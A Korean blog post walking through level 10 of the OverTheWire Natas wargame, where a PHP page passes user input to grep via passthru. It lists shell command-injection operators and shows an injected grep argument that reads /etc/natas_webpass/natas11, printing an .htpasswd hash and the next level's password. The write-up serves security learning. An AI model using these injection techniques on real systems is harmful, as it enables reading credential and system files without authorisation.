본문 바로가기

워게임/NATAS-overthewire.org

[워게임 Natas] 레벨 10 문제 풀이

Natas Level 9 → Level 10

Username: natas10

URL:      http://natas10.natas.labs.overthewire.org


10단계 비밀번호는 이 글을 참고하세요.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?
$key = "";
 
if(array_key_exists("needle"$_REQUEST)) {
    $key = $_REQUEST["needle"];
}
 
if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
cs

보안을 위해서 필터링 시킨다고 한다.

preg_match 안에 있는 패턴을 보다시피 쓸만한 문자들이 필터링 당했다.

정규표현식을 이해하자면 [ ] 에 들어있는 문자들 중 하나를 골라서 $key와 비교하여 맞으면 True를 반환한다.

일단은, 나타스11 비밀번호를 출력하려면 

/etc/natas_webpass/natas11

를 건드려야 한다는 것은 알 것이다.

커맨드 인젝션에서는 저 3문자 말고도 다른 방법으로 작성할 수 있다.


`shell_command` - executes the command

$(shell_command) - executes the command

| shell_command - executes the command and returns the output of the command

|| shell_command - executes the command and returns the output of the command

; shell_command - executes the command and returns the output of the command

&& shell_command executes the command and returns the output of the command


이 아래는 별로 쓰지 않는다.

> target_file - overwrites the target file with the output of the previous command

>> target_file - appends the target file with the output of the previous command

< target_file - send contents of target_file to the previous command

- operator - Add additional operations to target command


뭐.. 위쪽에 있는 건 백 쿼터랑 달러기호 밖에 없다.

일단 야매로 써보기로 한다.


`ls` 를 썼더니 웹페이지 소스코드랑 맨 아래에 

index.php:        passthru("grep -i $key dictionary.txt");

index.php.tmpl:        passthru("grep -i $key dictionary.txt");


한 시간을 야매로 썼는데 제대로 나온게 없고 피곤하기만 했다..

그래서 grep 을 믿어보기로 했다.

grep 명령어에 대해 자세히 몰랐었는데 정규표현식을 옵션으로 이용가능했다!

http://pelican7.egloos.com/v/1471855


그래서 grep -i .* 이런식으로 작성해봤다.

.htaccess:AuthType Basic

.htaccess: AuthName "Authentication required"

.htaccess: AuthUserFile /var/www/natas/natas10//.htpasswd

.htaccess: require valid-user

.htpasswd:natas10:$1$sDWfJg4Y$ewf9jvw0ChWUA3KARHisg.

dictionary.txt:African

dictionary.txt:Africans

...


모든 문자열이 나타나는 경우를 찾는 명령어이다.

이제 /etc/natas_webpass/natas11 파일도 출력하면 된다.


grep -i .* /etc/natas_webpass/natas11 dictionary.txt

.htaccess:AuthType Basic

.htaccess: AuthName "Authentication required"

.htaccess: AuthUserFile /var/www/natas/natas10//.htpasswd

.htaccess: require valid-user

.htpasswd:natas10:$1$sDWfJg4Y$ewf9jvw0ChWUA3KARHisg.

/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

dictionary.txt:African

dictionary.txt:Africans


단순히 이런 식으로 /etc/natas_webpass/natas11 파일에서 모든 문자를 찾는 것이다.

이번 문제는 꽤 어려웠다. 커맨드 인젝션을 공부한지 얼마 안되기도 했지만 grep 명령어를 통해서 이렇게 사용할 줄은 몰랐다.

별로 쓸모있어 보이지 않는 것이라도 돌다리 두들기며 건너듯 확인해봐야겠다.


natas11    :    U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK